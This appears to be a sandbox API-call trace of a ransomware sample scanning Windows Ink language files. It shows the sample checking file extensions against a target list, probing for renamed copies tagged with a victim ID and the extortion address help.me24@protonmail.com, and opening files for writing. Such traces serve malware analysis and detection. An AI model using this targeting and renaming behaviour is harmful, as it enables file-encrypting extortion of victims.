	[0189.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.196] lstrlenW (lpString=".1cd") returned 4
	[0189.196] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.196] lstrlenW (lpString=".jpg") returned 4
	[0189.196] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.196] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.196] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.197] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10752) returned 1
	[0189.197] CloseHandle (hObject=0x358) returned 1
	[0189.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20
	[0189.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.197] lstrlenW (lpString=".doc") returned 4
	[0189.197] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.197] lstrlenW (lpString=".docx") returned 5
	[0189.197] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.197] lstrlenW (lpString=".pdf") returned 4
	[0189.197] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.197] lstrlenW (lpString=".xls") returned 4
	[0189.197] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.197] lstrlenW (lpString=".xlsx") returned 5
	[0189.197] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.197] lstrlenW (lpString=".ppt") returned 4
	[0189.197] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.197] lstrlenW (lpString=".zip") returned 4
	[0189.198] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.198] lstrlenW (lpString=".rar") returned 4
	[0189.198] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.198] lstrlenW (lpString=".bz2") returned 4
	[0189.198] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.198] lstrlenW (lpString=".7z") returned 3
	[0189.198] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.198] lstrlenW (lpString=".dbf") returned 4
	[0189.198] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.198] lstrlenW (lpString=".1cd") returned 4
	[0189.198] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.198] lstrlenW (lpString=".jpg") returned 4
	[0189.198] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.198] lstrlenW (lpString=".doc") returned 4
	[0189.198] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.198] lstrlenW (lpString=".docx") returned 5
	[0189.198] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.198] lstrlenW (lpString=".pdf") returned 4
	[0189.198] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.198] lstrlenW (lpString=".xls") returned 4
	[0189.198] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.198] lstrlenW (lpString=".xlsx") returned 5
	[0189.198] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.198] lstrlenW (lpString=".ppt") returned 4
	[0189.198] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.198] lstrlenW (lpString=".zip") returned 4
	[0189.198] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.198] lstrlenW (lpString=".rar") returned 4
	[0189.198] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.198] lstrlenW (lpString=".bz2") returned 4
	[0189.198] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.199] lstrlenW (lpString=".7z") returned 3
	[0189.199] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.199] lstrlenW (lpString=".dbf") returned 4
	[0189.199] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.199] lstrlenW (lpString=".1cd") returned 4
	[0189.199] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0189.199] lstrlenW (lpString=".jpg") returned 4
	[0189.199] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.199] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.199] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.200] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=9728) returned 1
	[0189.200] CloseHandle (hObject=0x358) returned 1
	[0189.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20
	[0189.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.200] lstrlenW (lpString=".doc") returned 4
	[0189.200] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.200] lstrlenW (lpString=".docx") returned 5
	[0189.200] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.200] lstrlenW (lpString=".pdf") returned 4
	[0189.200] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.200] lstrlenW (lpString=".xls") returned 4
	[0189.200] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.200] lstrlenW (lpString=".xlsx") returned 5
	[0189.200] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.200] lstrlenW (lpString=".ppt") returned 4
	[0189.200] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.200] lstrlenW (lpString=".zip") returned 4
	[0189.200] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.200] lstrlenW (lpString=".rar") returned 4
	[0189.200] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.200] lstrlenW (lpString=".bz2") returned 4
	[0189.201] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.201] lstrlenW (lpString=".7z") returned 3
	[0189.201] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.201] lstrlenW (lpString=".dbf") returned 4
	[0189.201] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.201] lstrlenW (lpString=".1cd") returned 4
	[0189.201] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.201] lstrlenW (lpString=".jpg") returned 4
	[0189.201] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.201] lstrlenW (lpString=".doc") returned 4
	[0189.201] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.201] lstrlenW (lpString=".docx") returned 5
	[0189.201] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.201] lstrlenW (lpString=".pdf") returned 4
	[0189.201] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.201] lstrlenW (lpString=".xls") returned 4
	[0189.201] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.201] lstrlenW (lpString=".xlsx") returned 5
	[0189.201] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.201] lstrlenW (lpString=".ppt") returned 4
	[0189.201] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.201] lstrlenW (lpString=".zip") returned 4
	[0189.201] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.201] lstrlenW (lpString=".rar") returned 4
	[0189.201] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.201] lstrlenW (lpString=".bz2") returned 4
	[0189.201] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.201] lstrlenW (lpString=".7z") returned 3
	[0189.201] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.202] lstrlenW (lpString=".dbf") returned 4
	[0189.202] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.202] lstrlenW (lpString=".1cd") returned 4
	[0189.202] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0189.202] lstrlenW (lpString=".jpg") returned 4
	[0189.202] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.202] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.202] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.202] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10240) returned 1
	[0189.202] CloseHandle (hObject=0x358) returned 1
	[0189.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20
	[0189.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0189.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0189.203] lstrlenW (lpString=".doc") returned 4
	[0189.203] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.203] lstrlenW (lpString=".docx") returned 5
	[0189.203] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.203] lstrlenW (lpString=".pdf") returned 4
	[0189.203] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.203] lstrlenW (lpString=".xls") returned 4
	[0189.203] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.203] lstrlenW (lpString=".xlsx") returned 5
	[0189.203] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.203] lstrlenW (lpString=".ppt") returned 4
	[0189.203] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0189.203] lstrlenW (lpString=".zip") returned 4
	[0189.203] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.203] lstrlenW (lpString=".rar") returned 4
	[0189.203] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.203] lstrlenW (lpString=".bz2") returned 4
	[0189.203] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.203] lstrlenW (lpString=".7z") returned 3
	[0189.203] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0189.203] lstrlenW (lpString=".dbf") returned 4
	[0189.203] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.204] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.204] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10752) returned 1
	[0189.204] CloseHandle (hObject=0x358) returned 1
	[0189.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20
	[0189.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.205] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.205] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10752) returned 1
	[0189.205] CloseHandle (hObject=0x358) returned 1
	[0189.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20
	[0189.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.206] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.206] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=9728) returned 1
	[0189.206] CloseHandle (hObject=0x358) returned 1
	[0189.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20
	[0189.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.207] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.207] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=8704) returned 1
	[0189.207] CloseHandle (hObject=0x358) returned 1
	[0189.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20
	[0189.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.208] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.208] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=5120) returned 1
	[0189.208] CloseHandle (hObject=0x358) returned 1
	[0189.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20
	[0189.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.208] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.209] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=3072) returned 1
	[0189.209] CloseHandle (hObject=0x358) returned 1
	[0189.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20
	[0189.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.209] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.210] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=23040) returned 1
	[0189.210] CloseHandle (hObject=0x358) returned 1
	[0189.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20
	[0189.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
